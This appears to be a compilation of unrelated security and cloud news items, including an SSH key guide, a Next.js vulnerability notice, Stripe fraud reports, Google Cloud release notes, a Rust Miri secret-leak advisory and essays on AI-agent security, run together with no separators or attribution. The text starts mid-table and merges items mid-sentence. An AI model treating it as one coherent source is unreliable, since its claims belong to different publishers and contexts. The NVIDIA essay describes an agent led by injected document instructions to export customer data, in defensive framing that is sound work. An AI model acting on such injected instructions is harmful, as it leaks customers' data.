| libssh2 | 1.11.0 |
| PuTTY | 0.82 |
Alternatively, if you’re using older software and can’t upgrade, you may be able to use an Ed25519 or ECDSA key instead. All Ed25519 and ECDSA keys we support are strong, secure, and will continue to work for the indefinite future.
For generating new keys, we recommend using an Ed25519 key whenever possible. However, if you still need an RSA key for compatibility with other services, you can generate one as long as it as at least 3072 bits in size.
diffie-hellman-group-exchange-sha256If you’re using one of the SSH implementations above that supports RSA with SHA-2, it should also support a strong key exchange mechanism.
The addition of the mlkem768x25519-sha256 shouldn’t require any changes from users. SSH clients will automatically use the new algorithm by default if configured to prefer it. Users who use an older SSH client should automatically fall back to an older key exchange algorithm.
Discover tips, technical guides, and best practices in our biweekly newsletter just for devs.
Back to top
The Next.js team has disclosed a critical severity vulnerability in an upstream dependency that can lead to remote code execution when ImageResponse renders untrusted input. It is patched in 15.5.26 and 16.3.6. Applications that do not pass untrusted input into ImageResponse are not expected to be affected. Here’s what Netlify customers need to know.
next/og ImageResponse. Critical. Patched in 15.5.26 and 16.3.6.Netlify sites are affected only if they use ImageResponse and the image it generates includes untrusted input — text, or an image loaded from the request. Sites that don’t use ImageResponse, or that only render trusted content through it, are not affected.
For sites that do, the impact is limited to a crashed function invocation, not code execution. On Netlify, this has minimal impact: our autoscaling serverless architecture means that a malicious request resulting in a crashed function does not affect other requests. However, active exploitation could increase your function costs.
We strongly recommend upgrading as soon as possible to patched releases:
next 15.5.26 or later, or 16.3.6 or later, then redeploy.Until you can upgrade, do not place untrusted input inside elements passed to ImageResponse. Escape it as XML before rendering, or keep it out of the generated image entirely.
Note that any publicly available deploy previews and branch deploys may remain vulnerable until they are automatically deleted. Consider deleting these deploys manually.
Thirty-six percent of businesses on Stripe now have customers in more than one country, and the number of companies selling into more than 100 countries has quadrupled in five years.
This growth can also come with additional risk. Expanding into more markets means operating in new fraud environments, where fraud patterns, cultural norms around authentication, and regulatory requirements vary by region.
The differences can be substantial. In 2025, businesses in Latin America saw 160% higher card fraud rates compared to businesses in Europe, the Middle East, and Africa, and 151% higher than businesses in Asia Pacific. Managing that variability often involves separate risk strategies, with dedicated teams, for each market a business operates in.
We analyzed billions of transactions on Stripe from January 2022 to March 2026 to understand how card fraud patterns differ by region and country, what's driving those differences, and how businesses can respond. Here's what we found.
Of all the regions we analyzed, businesses in Asia Pacific saw the most consistent decline in card fraud rates from 2022 to 2025—and by 2026, had the lowest card fraud rate of any region on Stripe for the first time in our studied time frame.
Markets across Asia Pacific have introduced 3D Secure (3DS) requirements for online card transactions, adding an extra security layer by verifying that the person making a purchase is the legitimate cardholder. The data suggests the mandates are working.
Take Malaysia, where businesses saw a 74% decrease in card fraud rates from 2022 to 2025—the biggest decrease across countries in the Asia Pacific region. Malaysia's central bank applies a relatively strict approach with its 3DS mandate. Financial institutions are required to implement multifactor authentication, migrate from SMS-based one-time passwords to secure app-based authorization, and let customers immediately freeze their account—all of which leave fewer opportunities for unauthenticated transactions to get through compared to other markets.
Businesses in Japan also saw consistently lower fraud rates each year from 2022 to 2025. This is, in part, thanks to Japan’s April 2025 3DS mandate. Our analysis of disputes shows that the mandate is working to reduce fraud: dispute rates—which correlate with fraud, as customers dispute charges once they identify unauthorized transactions—were more than 30% lower in 2025 than the same period in 2024.
Card fraud rates for businesses in Europe have declined 21% from 2022 to 2025, though there is considerable variation among countries within the region. France and Great Britain—two of the larger European markets—have both seen consistent decreases in card fraud rates from 2022 through 2025, with France decreasing 40% and Great Britain decreasing 27%.
This reflects the maturity of the payments ecosystems in each market. Strong Customer Authentication (SCA) regulation, which requires businesses to support two-factor authentication on their checkout page to reduce fraud, has given issuers the framework and time to invest in more sophisticated fraud infrastructure. In France, that maturity also has historical roots. France was one of the earliest adopters of chip-and-PIN authentication, normalizing two-factor authentication years before most other countries. French cardholders are familiar with the process and more likely to complete authentication flows successfully as a result, which can help lower fraud rates.
On the other hand, Iberia was the only named European region in which businesses’ card fraud rate increased every year from 2022 to 2025. Spain and Portugal rely more heavily on one-time passwords as temporary security codes for authentication than other European markets, which can be more susceptible to fraud than biometrics or app-based verification. Spain and Portugal are also both heavily targeted by “smishing” attacks, SMS phishing scams where fraudulent actors impersonate trusted institutions to steal card credentials.
Businesses in Latin America on Stripe have had the highest card fraud rates among the regions analyzed on Stripe since January 2022. The gap remained significant in 2025: card fraud rates for businesses in Latin America were 65% higher than businesses in North America; 151% higher than businesses in Asia Pacific; and 160% higher than businesses in Europe, the Middle East, and Africa.
Some markets are improving. Businesses in Ecuador, Panama, and Brazil saw card fraud rates decrease from 2022 to 2025. But across the region, several structural factors keep overall rates elevated.
To help businesses better manage fraud as they enter new markets, we recently expanded Stripe Radar, our AI-powered fraud prevention product, to protect all supported payment volume globally. That expansion includes bank debits, stablecoin payments, digital wallets, real-time payments, and cash vouchers.
Stripe can also help businesses in SCA regions reduce fraud and meet regulatory requirements through 3DS authentication. On average, businesses in SCA regions can benefit from a 1.20% uplift in conversion while reducing fraud on all transactions by 7.67% with our AI-powered optimizations. Businesses can run 3DS authentication using Stripe while authorizing the payment with any payment processor and intelligently trigger 3DS to optimize for payments, fraud, or conversion use cases.
To learn more about how Radar can help your business prevent fraud as you expand into new countries, contact us or sign up for an account.
A resilient software supply chain is the foundation of modern delivery, and securing your continuous integration and continuous delivery (CI/CD) pipeline is what keeps innovation moving safely.
Notable supply chain attacks more than doubled in the first half of 2026 compared to the second half of 2025, according to Wiz’s recent Cloud Threat Highlights report.
It’s crucial that your source code not be the weakest link in your private cloud. To help you better address software supply chain threats, Google Cloud Secure Source Manager (SSM) lets you manage your source and CI/CD systems with unified authentication and authorization mechanisms.
We now offer two new capabilities, both generally available, that can simplify and secure your development and CI/CD workflows:
Unauthorized access to CI/CD systems: Attackers only need to alter a single deployment script to turn your CI/CD pipeline into a vehicle for malware. To help mitigate this risk, from the version control system to the build and artifact systems, to deployment tools, SSM can now block unauthorized access to your CI/CD systems even if your corporate network has been compromised.
Unauthorized changes to code by authorized users: The new Code Owners system manages pull request approver sets at a per-file and per-branch level to help provide more granular identity and access management (IAM). Code Owners helps engineers who need to write, edit, and review code. It adds additional guards to files and directories in your repository at a per-file or per-branch level.
Beginning with source code changes to your CI/CD pipeline, the new code owners feature gives you granular merge guards: Check in CODEOWNERS files to your repository to specify required approvers highly granularly:
Per-path approver sets: Using flexible glob-style path specifiers, you can require that changes to matching files be approved by one or more of given sets of users.
Branch-specific governance: Manage security and deployment rules across branches without friction. You can define different owners for main or dev in the same file, eliminating the merge conflicts that occur with existing CODEOWNERS solutions. See our documentation for more details.
Nestable multi-file ownership: You aren't limited to one giant, 5,000-line root file. You can nest CODEOWNERS files in sub-directories. SSM uses a "more local wins" logic, allowing sub-teams to own their folders while the root admin maintains veto power over the entire repo.
Independent approval sections: Using the [SectionName][count] syntax (e.g., [Security Team][2]), a single pull request (PR) can require independent sign-offs from multiple departments. A PR might be reviewed by a peer, but it won't merge until two members of the security team also approve.
With your source code ready, SSM’s new Developer Connect integration makes it easy to connect your CI/CD system and runtimes securely, even when they are in different private networks.
The private CI/CD blueprint architecture follows a secure path: Secure Source Manager connects to Private Service Connect, which connects to Cloud Build. The repository, the build pools, and the artifact storage all reside in a private network, with VPC Service Controls (VPC-SC) providing defense-in-depth to limit access to proxy endpoints.
To secure your network, follow our new Private Network Integrations guide to connect SSM to Cloud Build with Developer Connect.
To secure your pull request approvals, create a root CODEOWNERS file to replace blunt IAM "Approver" roles with file-specific ownership.
AI security is an engineering problem. That means defined security requirements, enforceable controls, named owners and evidence that protections work.
As AI becomes more capable, the industry must accelerate security engineering, broaden access to defensive tools and share what works faster.
The internet and cloud computing changed how software operates, while core security responsibilities endured: establish identity, control access, limit exposure and verify that protections work.
AI agents introduce new capabilities — reasoning, using tools and adapting actions based on the data they encounter. Those capabilities require applying established principles to new operating conditions.
This pace creates pressure. Organizations want the productivity benefits of AI while the practices to govern and secure these systems are still developing.
Applications depend on code, data, identities, services and infrastructure. Security depends on how those components work together — and AI agents extend that system.
Models provide capabilities; harnesses organize context, tools and workflows; and runtime environments provide the infrastructure within which actions execute. Each part of that stack carries security responsibilities, and proper protection requires controls across each layer, as data, instructions and actions move through the system.
Consider an agent updating a customer record. Say it encounters malicious instructions in an attached document and attempts to export customer data to an unauthorized destination.
A network policy should block the transfer, and protected logs should capture the attempted tool call, authorization decision and outcome so the security team can identify the tool used and the destination it attempted to reach.
Permission to update a customer record should not automatically extend to exporting that data. An agent can request additional access, but it cannot authorize that access itself.
A security boundary has to hold even when an agent makes the wrong decision. The environment where an agent runs determines what it’s allowed to do, and must therefore install limits on files, network destinations and processes independently of the agent’s reasoning.
Instructions and safeguards can help guide behavior, but security also requires enforceable boundaries.
Each agent needs a traceable identity and credentials limited to its assigned task. Organizations need clear policies defining what information agents can access, which systems they can change and which actions require approval. Within those boundaries, consequential actions and permission changes still require human approval.
Teams also need to verify the source and integrity of the tools, skills and dependencies agents use. If something goes wrong, protected records of tool calls, authorization decisions and outcomes help investigators reconstruct what happened. Clear procedures for revoking access and containing incidents make that evidence actionable.
NVIDIA OpenShell is an open source, secure runtime that enforces policies outside of the agent’s reach and provides sandboxed execution while governing how agents access, data, network and system resources. Open Secure AI Alliance partners are building on OpenShell: Cisco’s DefenseClaw adds a governance layer, and JFrog integrates with OpenShell to scan and verify agent skills and enforce policies on which skills agents can access.
Before deployment, teams need evidence that proper controls block attempts to obtain credentials beyond an agent’s scope or send sensitive data to an unauthorized destination.
Testing should also cover attempts to change permissions or interfere with monitoring, and be repeated after material changes to models, tools or workflows.
A named owner must use those results to decide whether the system is ready for deployment and ensure failed tests lead to corrective action. Failures discovered in testing or operation should be reproduced, investigated and addressed. Each finding can then become a repeatable test, allowing teams to check that the fix continues to work in future releases.
Examples include CrowdStrike’s SafeMind for testing and strengthening defenses through repeated attack simulations, and Palo Alto Networks Prisma AIRS for continuous red teaming as models and applications change.
Investigating failures requires capable tools suited to the task, data and environment. Open and closed models serve complimentary needs.
Closed models offer managed capabilities and services, while open models give defenders options to inspect relevant components, adapt strategies and work on infrastructure they control.
During an incident, that control can help a team reproduce a failure and test a fix against its own systems while keeping sensitive evidence within its environment.
Capable AI can support this work by helping find vulnerabilities, validate fixes and investigate attacks. Its value should be assessed through reproducible findings, verifiable fixes and accelerated response time.
Examples include Capital One’s VulnHunter for AI-powered code security, and ReversingLabs’ Spectra Assure for AI-powered analysis of software packages to detect malware and tampering.
Sharing evidence of what failed, which controls worked and how fixes were verified helps other teams strengthen their own systems.
NVIDIA’s security research and the Open Secure AI Alliance support that exchange by bringing research, practical tools and expertise into the broader security community.
AI security is an engineering problem. Every agent deployment needs enforceable boundaries, an accountable owner and evidence that its protections work. Open research and shared tools help more defenders meet that standard and improve it as capabilities advance.
Learn more about NVIDIA’s security research and join the Open Secure AI Alliance.
Access Context Manager supports extended session length for Workforce Identity Federation. This feature is in Preview for Looker (Google Cloud core) customers. For more information, see Configure extended session length for Workforce Identity Federation.
Installed latest packages from upstream dependencies.
JupyterLab now forwards client-side logs (console errors, uncaught exceptions, unhandled promise rejections, and failed network requests) to the instance backend, where they surface in Cloud Logging for easier debugging.
Installed latest packages from upstream dependencies.
JupyterLab now forwards client-side logs (console errors, uncaught exceptions, unhandled promise rejections, and failed network requests) to the instance backend, where they surface in Cloud Logging for easier debugging.
You can now use the AlloyDB Columnar Engine as a read-optimized, in-memory cache for HNSW vector indexes. This feature is generally available (GA). It accelerates vector search performance and increases queries per second (QPS) for vector workloads.
For more information, see Accelerate queries with the Columnar Engine.
On September 21st, 2026, we began maintenance updates of Apigee instances configured for maintenance windows.
If you set a preferred window for maintenance for your instance, and your instance version is below 1-18-0-apigee-4, your instance will be updated to 1-18-0-apigee-4 within the next seven to 21 days. A notification containing the expected date of upgrade will be sent within the next two business days.
Note: Instances that meet either of the following two criteria will not be updated:For more information on participating in scheduled maintenance windows, see Maintenance overview and Manage Apigee instance maintenance windows.
On September 21st, 2026, we released an updated version of Apigee (1-18-0-apigee-5).
Note: Rollouts of this release began today and can take four or more business days to be completed across all Google Cloud zones. Your instances might not have the features and fixes available until the rollout is complete.| Bug ID | Description |
|---|---|
| 560130499 | Security fix for Apigee. Fixed a security issue in the Java Callout policy. |
| 547681234 | Security fix for Apigee. Patched CVE-2026-69247 by upgrading a third-party library used by the Apigee model-security engine. |
| 556568593 | Security fix for Apigee. Patched CVE-2026-84304 by upgrading gRPC. |
| N/A | Security fix for Apigee infrastructure. |
| Bug ID | Description |
|---|---|
| 559009293 | Fixed elevated OAuth and VerifyAPIKey latency and Cassandra read load for AppGroup apps by caching the AppGroup entity in the Message Processor runtime, matching Developer-app behavior. |
| 558888960 | Fixed distributed tracing so that the target URL is included as a span attribute in all scenarios. |
| 556750755 | Fixed EventFlow (Server-Sent Events) dropping or truncating events that follow a large (greater than 16 KB) event under load on the http-adaptor data path. |
| 553931019 | The MCP tools/list method now aggregates tools across all approved API products. |
| 531783017 | Implemented the <Enforce>true</Enforce> element of SSLInfo for a Syslog endpoint, so that the syslog target's TLS server identity is verified. |
| 554114419 | Policies can now change request pseudo-headers (for example, :path and :authority) when HTTP/2 is in use. |
| 548763108 | Blocked outbound HTTP from the Message Processor to Kubernetes-internal targets. |
| 513032450 | Restored a 15-second TCP keep-alive on the Apigee Connect control-plane connection so that a silently dropped connection recovers in seconds rather than approximately two hours. |
| N/A | Updates to infrastructure and libraries. |
The Query results pane in the BigQuery Studio query editor lets you view a short history of recent runs for a query, including multi-statement queries, without having to navigate to the Job history tab. This feature is generally available (GA).
BigQuery generative AI functions
now support the gemini-3.8-flash Gemini model.
The C4 machine series is available for Cloud SQL for MySQL Enterprise Plus instances in the following regions:
asia-east2 — Hong Kongasia-southeast2 — Jakarta, Indonesiaeurope-west3 — Frankfurt, Germanyeurope-west4 — Eemshaven, Netherlandseurope-west8 — Milan, Italyus-east5 — Columbus, Ohio, USAus-south1 — Dallas, Texas, USAus-west4 — Las Vegas, Nevada, USAThe C4 machine series provides the following benefits:
The C4 machine series is available for Cloud SQL for PostgreSQL Enterprise Plus instances in the following regions:
asia-east2 — Hong Kongasia-southeast2 — Jakarta, Indonesiaeurope-west3 — Frankfurt, Germanyeurope-west4 — Eemshaven, Netherlandseurope-west8 — Milan, Italyus-east5 — Columbus, Ohio, USAus-south1 — Dallas, Texas, USAus-west4 — Las Vegas, Nevada, USAThe C4 machine series provides the following benefits:
The C4 machine series
is available for Cloud SQL for SQL Server Enterprise Plus instances in the
following regions:
asia-east2 — Hong Kongasia-southeast2 — Jakarta, Indonesiaeurope-west3 — Frankfurt, Germanyeurope-west4 — Eemshaven, Netherlandseurope-west8 — Milan, Italyus-east5 — Columbus, Ohio, USAus-south1 — Dallas, Texas, USAus-west4 — Las Vegas, Nevada, USAThe C4 machine series provides the following benefits:
The Dataform remote Model Context Protocol (MCP) server now supports pipeline authoring in development workspaces and Git repository operations. AI agents can create and list workspaces, search and edit files, commit changes and push commits to remote Git providers, update repository settings, and organize repositories in folders. For more information, see Use the Dataform remote MCP server and the Dataform MCP reference. This feature is generally available (GA).
Gemini layout parser model
pretrained-layout-parser-v3.1-lite-2026-08-11is in Preview.
Gemini Enterprise: Transfer ownership of shared agents
Administrators can transfer ownership of shared employee-made agents to another user or to themselves in the Google Cloud console. This is useful when reassigning agents created by departing employees or when temporary workers hand over agents to full-time staff.
Key characteristics and requirements include:
roles/discoveryengine.agentspaceAdmin or roles/discoveryengine.admin) can
transfer agent ownership. Agent owners cannot transfer ownership unless they
are also administrators.agentUser role.For more information, see Transfer agent ownership.
CodeMender updates (v0.9.0)
This release introduces updates to CodeMender:
cm report --format html to provide a modern, interactive dashboard featuring severity metric cards, syntax-highlighted code snippets with line numbers, and an inline patch diff viewer. Added the --open (-o) flag to automatically open the generated report in the default browser..cs), Rust (.rs), Kotlin (.kt, .kts), Ruby (.rb), and PHP (.php) to the default discovery configuration and initialization templates.cm stats and session exports to report per-turn latency breakdowns, distinguishing time spent waiting on model inference from local tool execution.For more information, see the CodeMender documentation.
Google Cloud CCaaS prerelease notes 6.15
Here are the pre-release notes for what we expect to be the next version of Google Cloud CCaaS. When we release this version, we expect the new capabilities to be as shown here.
Important: The next version of Google Cloud CCaaS could be greater than 6.15.Remove a user from all teams at once
Using the new Remove from all teams button, you can remove a user from all of the teams that they belong to.
Administrators: There's a new Remove from all teams button in the Teams section of the Edit User dialog.
This release addresses the following issues:
Fixed an issue that led to increased startup latency and errors for mobile and web chat sessions.
Fixed an issue where agents were incorrectly demoted to an Unresponsive status and removed from the routing pool despite successfully receiving call offers.
Fixed an issue where dialed numbers on Twilio BYOC SIP inbound calls were incorrectly formatted with extra digits from the SIP host and port.
Fixed an issue that prevented chat transcripts from being generated and delivered for sessions containing structured message content.
Fixed an issue where the call adapter incorrectly showed a call as on hold after a carrier failed to process the hold request, leaving the audio channel open between the agent and the customer.
Fixed an issue where a failed media download caused the service to restart unexpectedly.
Fixed an issue that caused queue-specific wrap-up and disposition settings to reset to global defaults after changing unrelated fields on the Queue Settings page.
Fixed an issue where machine translation didn't activate for chats that were transferred into a non-English language queue if the session originated with a virtual agent.
Fixed an issue where generative knowledge assist answers that contain long URLs were cut off at the edge of the panel.
Fixed an issue where queued calls were neither routed to available agents nor offered a callback.
Fixed an issue where voicemails were automatically dismissed and marked as read if a playback error occurred.
Fixed an issue where agent call recordings were missing or attached to the wrong call record after a virtual agent deflection.
Fixed an issue where unanswered DCR calls that were routed using Nexmo disconnected the caller instead of requeuing the call.
Fixed an issue that prevented virtual agents from transferring calls to a human-agent queue.
Fixed an issue where calls lacking a carrier hangup reason were incorrectly categorized as "customer abandoned", even when the call center didn't answer the call.
Fixed an issue where the call event API payload for DCR calls contained incorrect virtual agent parameters.
Fixed an issue where custom data from chat interactions wasn't recorded in Salesforce records.
Fixed an issue where Mexico time zones were incorrectly applying daylight saving time adjustments.
Fixed an issue where agents and end-users were joined to separate conferences, preventing audio communication between them.
Fixed an issue where call recording deletion tasks entered an endless loop if the provider didn't return a successful response.
Fixed an issue where IVR voice calls didn't send custom wrap-up events to Dialogflow CX under certain configurations.
Fixed an issue where a trailing slash in the host URL caused the web SDK to unexpectedly re-enable features that had been previously disabled for specific deployments.
You can use System for Cross-domain Identity Management (SCIM) data as the source for both user and group claims in the OAuth sign-in workflows for Looker. You can also use Extended Session Length (ESL) when using SCIM.
This feature is in Preview.
For more information, see the following:
Storage Transfer Service now supports filtering Amazon S3 source objects by storage
class. You can specify a list of storage classes to include when creating or
updating transfer jobs using the Google Cloud console, the gcloud CLI, or the
REST API.
For more information, see Filter source objects by storage class.
Storage Transfer Service now supports filtering source objects using glob patterns
with wildcard characters such as * and ?. Glob filtering is supported for
transfers from Amazon S3 and Microsoft Azure Blob Storage when configuring transfer jobs using
the gcloud CLI or the REST API.
For more information, see Filter source objects using wildcards.
The Rust Security Response Team was notified that Miri stores all environment variables to target/, allowing secrets to persist in caches.
While not necessary a vulnerability in and of itself, when paired with GitHub Actions caching behavior, it is possible for this to expose secrets to PRs.
GitHub Actions makes it possible to cache directories between runs. Typical setups allow CI runs on main (and other branches) to write to cache, and PRs can only read from cache (preventing cache poisoning). Rust projects tend to speed up CI by caching binaries built by cargo install and sometimes the contents of target/.
PR CI can be triggered by anyone who can open PRs on your repository. GitHub requires maintainer approval for the first PR, but future PRs will rerun CI on every push. Anyone who has previously landed a change can trigger a CI run extracting information from cached target/ and then cover their tracks by pushing a second commit to the PR.
GitHub sometimes hides overwritten commits in its UI, making this kind of attack harder to detect. CI run logs and overwritten commits are also deleted after a few months.
When cargo miri is invoked, Miri needs to retain build-relevant environment variables between runs1. The current code to do so achieves this by storing all environment variables to target/. This, of course, persists when target/ is cached.
If your environment contained secrets, these can now be accessed by PRs via the cache.
Our short term fix for this is to make Miri only preserve CARGO_* environment variables (excepting CARGO_*_TOKEN) and OUT_DIR. In the longer term, Miri and cargo may figure out better ways to inform Miri of the relevant list of environment variables. Note that this patch may not be available on nightly yet.
We also performed an ecosystem scan of GitHub repositories and identified 1 repository with this issue and 7 repositories that do not appear to be vulnerable but should be cautious anyway. We have reached out to those maintainers.
It is likely that our scan was imperfect, so we recommend you check your own GitHub Actions setups if you run Miri.
You are vulnerable if:
cargo miri in CIcargo miri has access to secrets as an environment variable:
env for the workflowtarget directory, usually done via actions/cache or swatinem/rust-cachePossible quick fixes include:
Once done, please clear the cache. Consider rotating any secrets that might have leaked.
The Miri release in the upcoming nightly (2026-09-22) will no longer have this problem.
Even if you do not run Miri, ensure jobs that can write to public caches do not have access to secrets. Many tools do not have special handling for secrets, and assume the entire environment can be written to the filesystem.
We consider it bad practice to have a cache that can easily be tainted by secrets.
If caching target/, it is worth making sure that the inputs to processes that create target/ (anything invoking cargo) do not have secrets available. It is generally rare for standard cargo build/test subcommands to need any secrets or tokens2, so this is mostly a matter of being careful about having secrets exposed as environment variables to the entire job.
Cargo/Miri/Rust does not guarantee that environment variables will be safe from being copied into target/. While we are treating this as a security issue and patching it out of an abundance of caution, this is not something you should rely on in general. Beyond official Rust tooling, it is possible for build scripts to be doing things that lead to the environment being stored in compilation artifacts.
Thanks to Predrag Gruevski of OpenAI for reporting this issue to us. Furthermore, the ecosystem scan was performed using Codex access and credits donated by OpenAI, which we also thank them for.
Issue triage and remediation was performed by Manish Goregaokar, Ralf Jung, Ben Kimock, Weihang Lo, Jacob Finkelman, Walter Pearce, Josh Stone, and Mark Rousskov.
Miri is invoked multiple times by cargo miri for complicated reasons ↩
In theory it could come up with build scripts reading from the network ↩
AWS Continuum for penetration testing is a frontier agent that proactively secures applications throughout the development lifecycle by offering on-demand, customized penetration testing with real exploitability testing. Developers and security teams can now test login credentials and receive suggested domains before a penetration test runs. This makes it easier to configure an accurate network scope from the start, reducing misconfiguration and wasted test cycles.
Previously, identifying all the URLs your application reaches required manual effort, and authentication failures were only discovered after a full test cycle completed, costing time and resources. With this launch, when you add login credentials during test configuration, AWS Continuum authenticates into your application exactly as a real user would, capturing every accessible domain reached during login and surfacing them as in-scope URL suggestions. You can review accessible domains, validate credentials, and confirm the agent covers the right endpoints, all before the real test begins. Accessible domains are returned regardless of whether the credential test succeeds, fails, or times out. You can learn more about this feature in our updated documentaiton.
This capability is available in all regions where AWS Continuum for penetration testing is available and is detailed on the AWS Continuum product page.
AI is accelerating software development at an unprecedented pace. But as code generation scales, so do the challenges of securing the code, especially emerging AI-based vulnerability exploitations. To meet these challenges, the Google AI and Infrastructure team is transforming how we approach security. In this article, we discuss new AI-native agentic methods that we’ve developed that systematically embed high-precision, pervasive vulnerability scanning and patching directly into Google’s software development lifecycle. By continuously scanning every code change across hundreds of millions of lines of code that we deploy onto our infrastructure, we are preventing hundreds of vulnerabilities per month from ever reaching our code base or production, defending our global network, AI infrastructure and our users.
Solution architecture and implementation
Pervasive pre-submit agentic scanning: security as part of ongoing software development
Traditionally, the technology industry relies on large one-off security scans that are slow and lack sufficient context. As a result, they often find vulnerabilities too late. Our approach instead focuses on pre-submit scanning, where we evaluate each code check-in (across every layer of the stack) in real-time using AI agents. By integrating the pre-submit scan into the tools developers already use, security becomes a continuous routine process, similar to rule checkers, readability reviews or other software development tools. Also, from an AI perspective, scanning each individual code change requires much less context than performing a large one-off scan, significantly improving the scan’s effectiveness.
For this initiative, we evolved Mantis, our open-source multi-agent review harness, to increase the precision of our security agents by matching them with a cohort of robust localized threat models. Rather than relying on static decoupled documents, the threat models use live codebase metadata. The scanning agent improves its accuracy further using a dependence call graph across packages and libraries to expand and refine its threat model context. Making threat models part of our ongoing vulnerability scanning encourages developers to continuously update threats and dependencies, keeping the models up-to-date. Using localized and precise threat model data translates to dramatic accuracy improvements, bringing our false-positive rates down to 3% in some cases.
Vulnerability scanning as part of code check-in requires it to respond quickly to the developer or agents generating the code, so as not to impede engineering productivity. To get responses with low latency, we run a two-step validation process. First, we run a quick lightweight scan that validates its findings against a specialized triage agent. This agent programmatically checks the actual structure of the code (using abstract syntax tree parsing, call-graph traversal, and pre-indexed domain safety rules) to prove that the vulnerable path is actually reachable by an attacker. This agent gets over 92% precision and completes its work in less than a minute. Then, a post-submit scan as part of nightly integration testing serves as a second layer of defense, using off-peak cycles to test for vulnerabilities that may have been introduced across multiple changes.
Finding vulnerabilities is only half the battle. The last component of our solution is an automated bug-fix agent that uses the scan results and generated proofs (snippet of code that demonstrates how the vulnerability is exercised) to autonomously construct precise fixes that are consistent with our internal coding standards. The agent submits the fixes for human review as part of the original change request’s review, further reducing the time between detection and resolution.
Embedding continuous scanning directly into the software development lifecycle has been a game changer at Google; its suggestions are widely adopted, and it’s prevented a multitude of vulnerabilities from being introduced into the codebase. But any organization wishing to improve security can adopt a similar AI-native approach, following these principles:
Keep systems separate: To prevent bias, keep the harnesses, rules, and context for each of your development, scanning, triage agents separate. Pair lightweight AI scans with deterministic, structural validation to drive down latency and improve accuracy.
Use context wisely: Feed your agents your existing threat models. Precise context is the answer to reducing false positives, and up-to-date threat models set a high floor on a team's security posture by improving the rate of true positives in presubmit scanning.
Build a good harness: While the choice of the underlying model is important, using a multi-agent harness can have substantial impact, by helping compensate for variability in model choice.
Automate the fix: Use agents to also propose human-in-the-loop fixes, to further reduce time-to-resolution.
If you want to get started on your own AI-native security transformation, Mantis is now available as open source for you to use and benefit from. You can also learn more about the fundamentals of cybersecurity and the other platforms that power this agentic pipeline: Google Cloud, Gemini Enterprise and Gemini models running on Trillium and Ironwood TPUs. And you can get inspiration from how agentic vulnerability scanning and remediation defends Google Cloud customers as an integral part of Google Cloud’s secure software development lifecycle (SDLC) effort.
With special recognition to critical team members who made this delivery possible: Stella Voutsina (Lead Program Manager), Yulong Zhang (Senior Staff Security Engineer, Mantis), and Nick Galloway (Staff Security Engineer, Mantis).
For travel and leisure businesses, combating fraud is a balancing act between speed and security. These businesses—which include not only hotels and travel booking platforms, but also museums, theme parks, and live-event venues—sell offerings that are time-sensitive, easily resold, and often purchased across borders. That makes fraudulent transactions hard to stop and losses hard to recover.
At the same time, travelers booking last minute are rarely willing to wait. Travel and leisure businesses need to approve high-value bookings in seconds or risk losing legitimate customers to competitors. As a result, they have less room to add verification steps, even when fraud risk is high.
That’s giving bad actors an opening. Last year, Stripe data shows that fraud attempts against travel and leisure businesses hit a four-year high. We analyzed payment activity from more than 200,000 active travel and leisure businesses on Stripe to understand where fraud is rising, how effectively it’s being blocked, and what businesses can do in response.
Among Stripe businesses in travel and leisure, fraud attempts rose sharply over the past three years. Scams continue to multiply, from reservation hijacking to WhatsApp-veiled hotel impersonators. Bad actors are also going after travel businesses themselves—even phishing kits are now sold as a service. And with AI making it easier to launch convincing scam campaigns and create synthetic identities at scale, fraud is becoming both more prolific and harder to detect.
Stripe Radar, our AI-powered fraud product, blocked the overwhelming majority of those attempts. Radar also became more effective over time: the share of attempted fraud that made it through to payment fell by more than two-thirds from 2023 to 2025. As a result, the vast majority of attempted fraud activity was intercepted before payment, while the rate of fraud identified after payment remained broadly stable.
Trained on more than $1.9 trillion in transaction volume across millions of businesses, Radar blocked more than $3 billion in suspected fraudulent payment volume among travel and leisure merchants last year alone.
Fraud attempt rates rose across most regions last year for travel and leisure businesses on Stripe. Those in APAC saw the biggest year-over-year increase, followed by EMEA, with both rates up more than fivefold from 2024. The fraud attempt rate also rose 37% year over year among LATAM businesses. North American businesses were the exception, with the fraud attempt rate declining from 2024 to 2025.
Travel is growing fastest in regions where mobile-first and cross-border bookings are also becoming more common, giving fraudulent actors more ways in. In North America, slower travel growth and more established fraud controls may be keeping attempted fraud at bay.
For travel and leisure businesses operating globally, a fraud control that works in one market may not work in another. Breaking out fraud attempts, successful fraud, disputes, acceptance rates, and false declines by region and payment method can help businesses pinpoint what’s driving risk in each market, whether that’s card testing, stolen-card bookings, account takeovers, or post-trip chargeback abuse.
Targeted fraud controls can reduce losses without adding the same checks to every booking. For example, Oasis Hotels, which serves international guests in Mexico, used Radar to apply additional authentication to bookings where the name on the reservation did not match the name on the card. Within six months, its fraudulent dispute rate fell by 90%.
Likewise, SiteMinder, a hotel commerce platform serving properties in 150 countries, implemented Radar to strengthen fraud screening across the payments it processes for hotel partners. Fraudulent payment volume fell 61%, and fraudulent bookings dropped 27%.
Among travel and leisure businesses, fraud often shows up in four areas: bookings, extras and travel credits, promotions and new account offers, and post-trip disputes.
Bookings remain a primary target. Stolen cards are often used by a person who is not the cardholder to book last-minute or high-value reservations. The traveler can then present an ID that matches the name on the ticket or booking, even though the cardholder didn’t authorize the purchase. If the booking has been confirmed, the bad actor often uses the flight, hotel stay, or rental car before fraud is detected, making the loss harder for businesses to recover. Stolen payment details are also sometimes used to buy extras around the booking, including seat upgrades, baggage credits, and lounge access. Because these purchases are usually smaller than the main booking, they’re less likely to trigger review.
Promotions create another common opening for abuse. Bad actors can use bots to create multiple accounts and email addresses, repeatedly claim sign-up discounts or referral offers, and then use those discounts to book travel at a lower price, either for personal use or resale. To prevent this type of abuse, businesses need to be able to identify suspicious behavior when accounts are created and block promotion redemptions at checkout.
Radar can use login-related signals to identify possible multi-account abuse and flag accounts for additional verification or review. It can also help detect fraud patterns associated with unusual account activity and suspicious payment behavior at checkout. Stripe Identity can add an extra verification step before high-risk actions, while 3D Secure can help protect payment methods used for those purchases.
Fraud can also happen after the trip is complete. A customer might stay in a hotel or take a flight, then dispute the charge as fraudulent in an attempt to get a refund. Keeping clear records of bookings, customer approval, service delivery, cancellation terms, and any refund issued can make it easier for travel businesses to respond. Smart Disputes, available for card disputes, can help businesses assemble and submit the most relevant evidence, though the final decision ultimately rests with the card issuer.
Travel fraud becomes much more expensive when it gets past checkout. Once a booking is paid for, the business can end up dealing with both the original financial loss, as well as the follow-up work across fraud, support, and disputes. Early detection gives businesses more time to stop suspicious bookings before they become losses or disputes.
